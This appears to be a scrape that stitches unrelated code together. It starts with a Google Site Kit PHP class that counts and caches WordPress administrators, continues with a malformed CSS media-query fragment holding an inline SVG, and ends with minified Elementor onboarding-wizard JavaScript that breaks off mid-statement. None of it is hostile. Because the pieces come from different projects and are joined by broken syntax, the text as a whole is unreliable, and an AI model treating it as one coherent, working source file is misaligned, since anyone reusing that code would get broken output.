 * Class Google\Site_Kit\Core\Authentication\Has_Multiple_Admins
 *
 * @package   Google\Site_Kit\Core\Authentication
 * @copyright 2021 Google LLC
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 * @link      https://sitekit.withgoogle.com
 */

namespace Google\Site_Kit\Core\Authentication;

use Google\Site_Kit\Core\Storage\Transients;
use Google\Site_Kit\Core\Util\Method_Proxy_Trait;
use WP_User;
use WP_User_Query;

/**
 * Has_Multiple_Admins class.
 *
 * @since 1.29.0
 * @access private
 * @ignore
 */
class Has_Multiple_Admins {

	use Method_Proxy_Trait;

	/**
	 * The option_name for this transient.
	 */
	const OPTION = 'googlesitekit_number_of_administrators';

	/**
	 * Transients instance.
	 *
	 * @since 1.29.0
	 * @var Transients
	 */
	protected $transients;

	/**
	 * Constructor.
	 *
	 * @since 1.29.0
	 *
	 * @param Transients $transients Transients instance.
	 */
	public function __construct( Transients $transients ) {
		$this->transients = $transients;
	}

	/**
	 * Registers functionality through WordPress hooks.
	 *
	 * @since 1.166.0
	 */
	public function register() {
		add_action( 'deleted_user', $this->get_method_proxy( 'handle_user_deletion' ), 10, 3 );
		add_action( 'set_user_role', $this->get_method_proxy( 'handle_set_user_role' ), 10, 3 );
		add_action( 'add_user_role', $this->get_method_proxy( 'handle_add_remove_role' ), 10, 2 );
		add_action( 'remove_user_role', $this->get_method_proxy( 'handle_add_remove_role' ), 10, 2 );
	}

	/**
	 * Returns a flag indicating whether the current site has multiple users.
	 *
	 * @since 1.29.0
	 *
	 * @return boolean TRUE if the site kit has multiple admins, otherwise FALSE.
	 */
	public function get() {
		$number_of_admins = $this->transients->get( self::OPTION );

		// If we have a cached number of admins, use it rather than doing
		// database queries to check on the number of admins.
		if ( ! empty( $number_of_admins ) ) {
			return $number_of_admins > 1;
		}

		if ( is_multisite() ) {
			$super_admins = get_super_admins();
			// If there are multiple super admins, we definitely have multiple admins.
			if ( count( $super_admins ) > 1 ) {
				$admins_count = count( $super_admins );
				// There's no need to check local admins in this case.
			} else {
				// If there is 0 or 1 super admin, we need to check local admins.
				// We exclude the super admin from the local check to avoid double counting
				// if they are also added as a local administrator.
				$exclude_users = array();
				if ( ! empty( $super_admins ) ) {
					$super_admin = get_user_by( 'login', $super_admins[0] );
					if ( $super_admin ) {
						$exclude_users[] = $super_admin->ID;
					}
				}

				$user_query_args = array(
					'number'      => 1,
					'role__in'    => array( 'Administrator' ),
					'count_total' => true,
					'exclude'     => $exclude_users, // phpcs:ignore WordPressVIPMinimum.Performance.WPQueryParams.PostNotIn_exclude -- We're excluding existing super admins from the result and caching the results of this slow query. This is a legitimate use case of the 'exclude' param.
				);

				$user_query = new WP_User_Query( $user_query_args );
				// Add 1 if there is a super admin, plus any other local admins found.
				$admins_count = ( ! empty( $super_admins ) ? 1 : 0 ) + $user_query->get_total();
			}
		} else {
			$user_query_args = array(
				'number'      => 1,
				'role__in'    => array( 'Administrator' ),
				'count_total' => true,
			);

			$user_query   = new WP_User_Query( $user_query_args );
			$admins_count = $user_query->get_total();
		}

		// Set the number of admins transient for 1 week.
		$this->transients->set( self::OPTION, $admins_count, WEEK_IN_SECONDS );

		// Return whether we have multiple admins.
		return $admins_count > 1;
	}

	/**
	 * Handles user deletion.
	 *
	 * Executed by the `deleted_user` hook.
	 * We skip clearing the transient cache, only if we are sure that the user
	 * being deleted is not an admin. The $user parameter is only available
	 * in WP 5.5+, so we do not rely on it.
	 *
	 * @since 1.166.0
	 *
	 * @param int     $user_id User ID.
	 * @param bool    $reassign Whether the user's posts are being reassigned.
	 * @param WP_User $user    User object.
	 * @return void
	 */
	protected function handle_user_deletion( $user_id, $reassign, $user = null ) {
		if ( $user instanceof WP_User && ! in_array( 'administrator', $user->roles, true ) ) {
			return;
		}
		$this->transients->delete( self::OPTION );
	}

	/**
	 * Clears transient cache when a user is added or updated
	 *
	 * Executed by the `set_user_role` hook. `WP_User::set_role()` is used when
	 * adding a new user as well as updating an existing user's profile (so we do not
	 * have to specifically hook into `user_register` or `profile_update` hooks).
	 * Furthermore, `WP_User::set_role()` calls `remove_role()` and `add_role()` internally,
	 * but only after WordPress 6.0. So we still have to hook into `set_user_role` to cover
	 * all versions before it.
	 * We skip clearing the transient cache only if we are sure that we aren't
	 * changing a role from or to the 'administrator' role.
	 *
	 * @since 1.166.0
	 *
	 * @param int    $user_id   User ID.
	 * @param string $role      New role.
	 * @param array  $old_roles Old roles.
	 * @return void
	 */
	protected function handle_set_user_role( $user_id, $role, $old_roles = array() ) {
		if ( ! in_array( 'administrator', (array) $old_roles, true ) && 'administrator' !== $role ) {
			return;
		}
		$this->transients->delete( self::OPTION );
	}

	/**
	 * Handles user role changes.
	 *
	 * Executed by the `add_user_role` and `remove_user_role` hooks. These hooks
	 * are called internally by `WP_User::add_role()` and `WP_User::remove_role()`
	 * respectively. From WordPress 6.0, these hooks are always called even
	 * when the more generic `WP_User::set_role()` is used when adding or updating
	 * a user. However, for backwards compatibility with earlier versions, we still
	 * have to clear the cache and hook into `set_user_role` separately.
	 * We skip clearing the transient cache only if we are sure that
	 * the role being added/removed is 'administrator'.
	 *
	 * @since 1.166.0
	 *
	 * @param int    $user_id User ID.
	 * @param string $role    Role being added/removed.
	 * @return void
	 */
	protected function handle_add_remove_role( $user_id, $role ) {
		if ( 'administrator' !== $role ) {
			return;
		}
		$this->transients->delete( self::OPTION );
	}
}
}@media only screen and (max-width: 800px){<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C114.62 32 0 125.12 0 240c0 49.56 21.41 95 57 130.74C44.46 421.05 2.7 466 2.2 466.5A8 8 0 0 0 8 480c66.26 0 116-31.75 140.6-51.38A304.66 304.66 0 0 0 256 448c141.39 0 256-93.12 256-208S397.39 32 256 32zm96 232a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8z"/></svg>}@media only screen and (max-width: 640px){/*! elementor - v3.7.0 - 08-08-2022 */
"use strict";(self.webpackChunkelementor=self.webpackChunkelementor||[]).push([[343],{13329:(e,t,n)=>{var o=n(23615),r=n(38003).__,a=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=ElementorLoading;var i=a(n(87363));function ElementorLoading(e){return i.default.createElement("div",{className:"elementor-loading"},i.default.createElement("div",{className:"elementor-loader-wrapper"},i.default.createElement("div",{className:"elementor-loader"},i.default.createElement("div",{className:"elementor-loader-boxes"},i.default.createElement("div",{className:"elementor-loader-box"}),i.default.createElement("div",{className:"elementor-loader-box"}),i.default.createElement("div",{className:"elementor-loader-box"}),i.default.createElement("div",{className:"elementor-loader-box"}))),i.default.createElement("div",{className:"elementor-loading-title"},e.loadingText)))}ElementorLoading.propTypes={loadingText:o.string},ElementorLoading.defaultProps={loadingText:r("Loading","elementor")}},52946:(e,t,n)=>{var o=n(23615),r=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=PopoverDialog;var a=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==r(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},a=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=a?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function PopoverDialog(e){var t=e.targetRef,n=e.offsetTop,o=e.offsetLeft,r=e.wrapperClass,i=e.trigger,l=e.hideAfter,c=(0,a.useCallback)((function(e){var r=null==t?void 0:t.current;if(r&&e){var a=function showPopover(){e.style.display="block",e.setAttribute("aria-expanded",!0);var t=r.getBoundingClientRect(),a=e.getBoundingClientRect(),i=a.width-t.width;e.style.top=t.bottom+n+"px",e.style.left=t.left-i/2-o+"px",e.style.setProperty("--popover-arrow-offset-end",(a.width-16)/2+"px")},c=function hidePopover(){e.style.display="none",e.setAttribute("aria-expanded",!1)};"hover"===i?function handlePopoverHover(){var t=!0,n=null;r.addEventListener("mouseover",(function(){t=!0,a()})),r.addEventListener("mouseleave",(function(){n=setTimeout((function(){t&&"block"===e.style.display&&c()}),l)})),e.addEventListener("mouseover",(function(){t=!1,n&&(clearTimeout(n),n=null)})),e.addEventListener("mouseleave",(function(){n=setTimeout((function(){t&&"block"===e.style.display&&c()}),l),t=!0}))}():"click"===i&&function handlePopoverClick(){var t=!1;r.addEventListener("click",(function(e){e.preventDefault(),e.stopPropagation(),t?(c(),t=!1):(a(),t=!0)})),e.addEventListener("click",(function(e){e.stopPropagation()})),document.body.addEventListener("click",(function(){t&&(c(),t=!1)}))}()}}),[t]),u="e-app__popover";return r&&(u+=" "+r),a.default.createElement("div",{className:u,ref:c},e.children)}PopoverDialog.propTypes={targetRef:o.oneOfType([o.func,o.shape({current:o.any})]).isRequired,trigger:o.string,direction:o.string,offsetTop:o.oneOfType([o.string,o.number]),offsetLeft:o.oneOfType([o.string,o.number]),wrapperClass:o.string,children:o.any,hideAfter:o.number},PopoverDialog.defaultProps={direction:"bottom",trigger:"hover",offsetTop:10,offsetLeft:0,hideAfter:300}},42056:(e,t,n)=>{var o=n(73203),r=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function App(){return(0,a.useEffect)((function(){if(!elementorAppConfig.onboarding.onboardingAlreadyRan){var e=new FormData;e.append("_nonce",elementorCommon.config.ajax.nonce),e.append("action","elementor_update_onboarding_option"),fetch(elementorCommon.config.ajax.url,{method:"POST",body:e})}elementorAppConfig.return_url=elementorAppConfig.admin_url}),[]),a.default.createElement(c.ContextProvider,null,a.default.createElement(i.LocationProvider,{history:l.default.appHistory},a.default.createElement(i.Router,null,a.default.createElement(u.default,{default:!0}),a.default.createElement(s.default,{path:"hello"}),a.default.createElement(d.default,{path:"siteName"}),a.default.createElement(p.default,{path:"siteLogo"}),a.default.createElement(f.default,{path:"goodToGo"}),a.default.createElement(m.default,{path:"uploadAndInstallPro"}))))};var a=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==r(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},a=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=a?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),i=n(50927),l=o(n(3869)),c=n(73185),u=o(n(84802)),s=o(n(45050)),d=o(n(50030)),p=o(n(93679)),f=o(n(62177)),m=o(n(93484));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},45159:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Button;var a=r(n(87363));function Button(e){var t=e.buttonSettings,n=e.type,o="e-onboarding__button";return n&&(o+=" e-onboarding__button-".concat(n)),t.className?t.className+=" "+o:t.className=o,t.href?a.default.createElement("a",t,t.text):a.default.createElement("div",t,t.text)}Button.propTypes={buttonSettings:o.object.isRequired,type:o.string}},70343:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Card;var a=r(n(87363));function Card(e){var t=e.image,n=e.imageAlt,o=e.text,r=e.link,i=e.name,l=e.clickAction;return a.default.createElement("a",{className:"e-onboarding__card",href:r,onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"starting canvas click",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,selection:i}}),l&&l()}},a.default.createElement("img",{className:"e-onboarding__card-image",src:t,alt:n}),a.default.createElement("div",{className:"e-onboarding__card-text"},o))}Card.propTypes={image:o.string.isRequired,imageAlt:o.string.isRequired,text:o.string.isRequired,link:o.string.isRequired,name:o.string.isRequired,clickAction:o.func}},22131:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=ChecklistItem;var a=r(n(87363));function ChecklistItem(e){return a.default.createElement("li",{className:"e-onboarding__checklist-item"},a.default.createElement("i",{className:"eicon-check-circle"}),e.children)}ChecklistItem.propTypes={children:o.string}},64835:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Checklist;var a=r(n(87363));function Checklist(e){return a.default.createElement("ul",{className:"e-onboarding__checklist"},e.children)}Checklist.propTypes={children:o.any.isRequired}},1962:(e,t,n)=>{var o=n(38003).__,r=n(23615),a=n(73203),i=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=GoProPopover;var l=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==i(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=r?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}o.default=e,n&&n.set(e,o);return o}(n(87363)),c=n(73185),u=a(n(52946)),s=a(n(64835)),d=a(n(22131)),p=a(n(45159));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function GoProPopover(e){var t=(0,l.useContext)(c.OnboardingContext),n=t.state,r=t.updateState,a=(0,l.useCallback)((function(e){e&&e.addEventListener("click",(function(t){t.preventDefault(),elementorCommon.events.dispatchEvent({event:"already have pro",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}}),window.open(e.href+"&mode=popup","elementorUploadPro","toolbar=no, menubar=no, width=728, height=531, top=100, left=100"),elementorCommon.elements.$body.on("elementor/upload-and-install-pro/success",(function(){r({hasPro:!0,proNotice:{type:"success",icon:"eicon-check-circle-o",message:o("Elementor Pro has been successfully installed.","elementor")}})}))}))}),[]),i=e.buttonsConfig.find((function(e){return"go-pro"===e.id})),f={text:o("Upgrade Now","elementor"),className:"e-onboarding__go-pro-cta",target:"_blank",href:"https://elementor.com/pro/?utm_source=onboarding-wizard&utm_campaign=gopro&utm_medium=wp-dash&utm_content=top-bar-dropdown&utm_term="+elementorAppConfig.onboarding.onboardingVersion,tabIndex:0,onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"get elementor pro",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}})}};return l.default.createElement(u.default,{targetRef:i.elRef,wrapperClass:"e-onboarding__go-pro"},l.default.createElement("div",{className:"e-onboarding__go-pro-content"},l.default.createElement("h2",{className:"e-onboarding__go-pro-title"},o("Ready to Go Pro?","elementor")),l.default.createElement(s.default,null,l.default.createElement(d.default,null,o("90+ Basic & Pro widgets","elementor")),l.default.createElement(d.default,null,o("300+ Basic & Pro templates","elementor")),l.default.createElement(d.default,null,o("Premium Support","elementor"))),l.default.createElement("div",{className:"e-onboarding__go-pro-paragraph"},o("And so much more!","elementor")),l.default.createElement("div",{className:"e-onboarding__go-pro-paragraph"},l.default.createElement(p.default,{buttonSettings:f})),l.default.createElement("div",{className:"e-onboarding__go-pro-paragraph"},l.default.createElement("a",{tabIndex:"0",className:"e-onboarding__go-pro-already-have",ref:a,href:elementorAppConfig.onboarding.urls.uploadPro,rel:"opener"},o("Already have Elementor Pro?","elementor")))))}GoProPopover.propTypes={buttonsConfig:r.array.isRequired}},16694:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=FooterButtons;var a=r(n(87363)),i=r(n(57390)),l=r(n(45159)),c=r(n(80366));function FooterButtons(e){var t=e.actionButton,n=e.skipButton,o=e.className,r="e-onboarding__footer";return o&&(r+=" "+o),a.default.createElement(i.default,{container:!0,alignItems:"center",justify:"space-between",className:r},t&&a.default.createElement(l.default,{buttonSettings:t,type:"action"}),n&&a.default.createElement(c.default,{button:n}))}FooterButtons.propTypes={actionButton:o.object,skipButton:o.object,className:o.string}},50841:(e,t,n)=>{var o=n(38003).__,r=n(23615),a=n(73203),i=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Header;var l=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==i(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=r?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}o.default=e,n&&n.set(e,o);return o}(n(87363)),c=n(73185),u=a(n(57390)),s=a(n(1962)),d=a(n(50888)),p=a(n(4801));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function Header(e){(0,p.default)({title:e.title});var t=(0,l.useContext)(c.OnboardingContext).state;return l.default.createElement(u.default,{container:!0,alignItems:"center",justify:"space-between",className:"eps-app__header e-onboarding__header"},l.default.createElement("div",{className:"eps-app__logo-title-wrapper e-onboarding__header-logo"},l.default.createElement("i",{className:"eps-app__logo eicon-elementor"}),l.default.createElement("img",{src:elementorCommon.config.urls.assets+"images/logo-platform.svg",alt:o("Elementor Logo","elementor")})),l.default.createElement(d.default,{buttons:e.buttons,onClose:function onClose(){elementorCommon.events.dispatchEvent({event:"close modal",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:t.currentStep}}),window.top.location=elementorAppConfig.admin_url}}),!t.hasPro&&l.default.createElement(s.default,{buttonsConfig:e.buttons}))}Header.propTypes={title:r.string,buttons:r.arrayOf(r.object)},Header.defaultProps={buttons:[]}},84474:(e,t,n)=>{var o=n(38003).__,r=n(23615),a=n(73203),i=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Layout;var l=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==i(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var a in e)if("default"!==a&&Object.prototype.hasOwnProperty.call(e,a)){var l=r?Object.getOwnPropertyDescriptor(e,a):null;l&&(l.get||l.set)?Object.defineProperty(o,a,l):o[a]=e[a]}o.default=e,n&&n.set(e,o);return o}(n(87363)),c=n(73185),u=a(n(50841)),s=a(n(12418)),d=a(n(32161)),p=a(n(17726));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function Layout(e){(0,l.useEffect)((function(){elementorCommon.events.dispatchEvent({event:"modal load",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:e.pageId,user_state:elementorCommon.config.library_connect.is_connected?"logged":"anon"}}),r({currentStep:e.pageId,nextStep:e.nextStep||"",proNotice:null})}),[e.pageId]);var t=(0,l.useContext)(c.OnboardingContext),n=t.state,r=t.updateState,a=[],i=(0,l.useRef)(),f={id:"create-account",text:o("Create Account","elementor-pro"),hideText:!1,elRef:(0,l.useRef)(),url:elementorAppConfig.onboarding.urls.signUp+elementorAppConfig.onboarding.utms.connectTopBar,target:"_blank",rel:"opener",onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"create account",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,source:"header"}})}};return n.isLibraryConnected?a.push({id:"my-elementor",text:o("My Elementor","elementor-pro"),hideText:!1,icon:"eicon-user-circle-o",url:"https://my.elementor.com/?utm_source=onboarding-wizard&utm_medium=wp-dash&utm_campaign=my-account&utm_content=top-bar&utm_term="+elementorAppConfig.onboarding.onboardingVersion,target:"_blank",onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"my elementor click",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep,source:"header"}})}}):a.push(f),n.hasPro||a.push({id:"go-pro",text:o("Go Pro","elementor-pro"),hideText:!1,icon:"eicon-pro-icon",url:"https://elementor.com/pro/?utm_source=onboarding-wizard&utm_campaign=gopro&utm_medium=wp-dash&utm_content=top-bar&utm_term="+elementorAppConfig.onboarding.onboardingVersion,target:"_blank",elRef:i,onClick:function onClick(){elementorCommon.events.dispatchEvent({event:"go pro",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:n.currentStep}})}}),l.default.createElement("div",{className:"eps-app__lightbox"},l.default.createElement("div",{className:"eps-app e-onboarding"},!n.isLibraryConnected&&l.default.createElement(p.default,{buttonRef:f.elRef}),l.default.createElement(u.default,{title:o("Getting Started","elementor"),buttons:a}),l.default.createElement("div",{className:"eps-app__main e-onboarding__page-"+e.pageId},l.default.createElement(d.default,{className:"e-onboarding__content"},l.default.createElement(s.default,null),e.children))))}Layout.propTypes={pageId:r.string.isRequired,nextStep:r.string,className:r.string,children:r.any.isRequired}},60627:(e,t,n)=>{var o=n(23615),r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=PageContentLayout;var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=n(73185),c=r(n(57390)),u=r(n(48228)),s=r(n(16694));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function PageContentLayout(e){var t=(0,i.useContext)(l.OnboardingContext).state;return i.default.createElement(i.default.Fragment,null,i.default.createElement(c.default,{container:!0,alignItems:"center",justify:"space-between",className:"e-onboarding__page-content"},i.default.createElement("div",{className:"e-onboarding__page-content-start"},i.default.createElement("h1",{className:"e-onboarding__page-content-section-title"},e.title),i.default.createElement("div",{className:"e-onboarding__page-content-section-text"},e.children)),i.default.createElement("div",{className:"e-onboarding__page-content-end"},i.default.createElement("img",{src:e.image,alt:"Information"}))),i.default.createElement("div",{className:"e-onboarding__notice-container"},e.noticeState||t.proNotice?function printNotices(){return i.default.createElement(i.default.Fragment,null,e.noticeState&&i.default.createElement(u.default,{noticeState:e.noticeState}),t.proNotice&&i.default.createElement(u.default,{noticeState:t.proNotice}))}():i.default.createElement("div",{className:"e-onboarding__notice-empty-spacer"})),i.default.createElement(s.default,{actionButton:e.actionButton,skipButton:e.skipButton}))}PageContentLayout.propTypes={title:o.string,children:o.any,image:o.string,actionButton:o.object,skipButton:o.object,noticeState:o.any}},48228:(e,t,n)=>{var o=n(23615),r=n(73203);Object.defineProperty(t,"__esModule",{value:!0}),t.default=Notice;var a=r(n(87363));function Notice(e){return a.default.createElement("div",{className:"e-onboarding__notice e-onboarding__notice--".concat(e.noticeState.type)},a.default.createElement("i",{className:e.noticeState.icon}),a.default.createElement("span",{className:"e-onboarding__notice-text"},e.noticeState.message))}Notice.propTypes={noticeState:o.object}},54274:(e,t,n)=>{var o=n(23615),r=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=ProgressBarItem;var a=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==r(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},a=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=a?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),i=n(73185);function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function ProgressBarItem(e){var t=(0,a.useContext)(i.OnboardingContext).state,n="completed"===t.steps[e.id],o="skipped"===t.steps[e.id],r="e-onboarding__progress-bar-item";return e.id===t.currentStep?r+=" e-onboarding__progress-bar-item--active":n?r+=" e-onboarding__progress-bar-item--completed":o&&(r+=" e-onboarding__progress-bar-item--skipped"),a.default.createElement("div",{onClick:e.onClick,className:r},a.default.createElement("div",{className:"e-onboarding__progress-bar-item-icon"},n?a.default.createElement("i",{className:"eicon-check"}):e.index+1),e.title)}ProgressBarItem.propTypes={index:o.number.isRequired,id:o.string.isRequired,title:o.string.isRequired,route:o.string,onClick:o.func}},12418:(e,t,n)=>{var o=n(38003).__,r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=function ProgressBar(){var e=(0,i.useContext)(c.OnboardingContext).state,t=(0,u.useNavigate)(),n=[{id:"account",title:o("Elementor Account","elementor"),route:"account"}];elementorAppConfig.onboarding.helloActivated||n.push({id:"hello",title:o("Hello Theme","elementor"),route:"hello"});n.push({id:"siteName",title:o("Site Name","elementor"),route:"site-name"},{id:"siteLogo",title:o("Site Logo","elementor"),route:"site-logo"},{id:"goodToGo",title:o("Good to Go","elementor"),route:"good-to-go"});var r=n.map((function(n,o){return n.index=o,e.steps[n.id]&&(n.onClick=function(){elementorCommon.events.dispatchEvent({event:"step click",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:e.currentStep,next_step:n.id}}),t("/onboarding/"+n.id)}),i.default.createElement(s.default,(0,l.default)({key:n.id},n))}));return i.default.createElement("div",{className:"e-onboarding__progress-bar"},r)};var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=r(n(73119)),c=n(73185),u=n(50927),s=r(n(54274));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}},80366:(e,t,n)=>{var o=n(23615),r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.default=SkipButton;var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return o}(n(87363)),l=n(73185),c=n(50927),u=r(n(45159));function _getRequireWildcardCache(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(_getRequireWildcardCache=function _getRequireWildcardCache(e){return e?n:t})(e)}function SkipButton(e){var t=e.button,n=e.className,o=(0,i.useContext)(l.OnboardingContext),r=o.state,a=o.updateState,s=(0,c.useNavigate)(),d=t.action||function skipStep(){var e=JSON.parse(JSON.stringify(r));e.steps[r.currentStep]="skipped",a(e),r.nextStep&&s("onboarding/"+r.nextStep)};return delete t.action,t.onClick=function(){elementorCommon.events.dispatchEvent({event:"skip",version:"",details:{placement:elementorAppConfig.onboarding.eventPlacement,step:r.currentStep}}),t.href||d()},i.default.createElement(u.default,{buttonSettings:t,className:n,type:"skip"})}SkipButton.propTypes={button:o.object.isRequired,className:o.string}},73185:(e,t,n)=>{var o=n(23615),r=n(73203),a=n(7501);Object.defineProperty(t,"__esModule",{value:!0}),t.ContextProvider=ContextProvider,t.OnboardingContext=void 0;var i=function _interopRequireWildcard(e,t){if(!t&&e&&e.__esModule)return e;if(null===e||"object"!==a(e)&&"function"!=typeof e)return{default:e};var n=_getRequireWildcardCache(t);if(n&&n.has(e))return n.get(e);var o={},r=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var i in e)if("default"!==i&&Object.prototype.hasOwnProperty.call(e,i)){var l=r?Object.getOwnPropertyDescriptor(e,i):null;l&&(l.get||l.set)?Object.defineProperty(o,i,l):o[i]=e[i]}o.default=e,n&&n.set(e,o);return 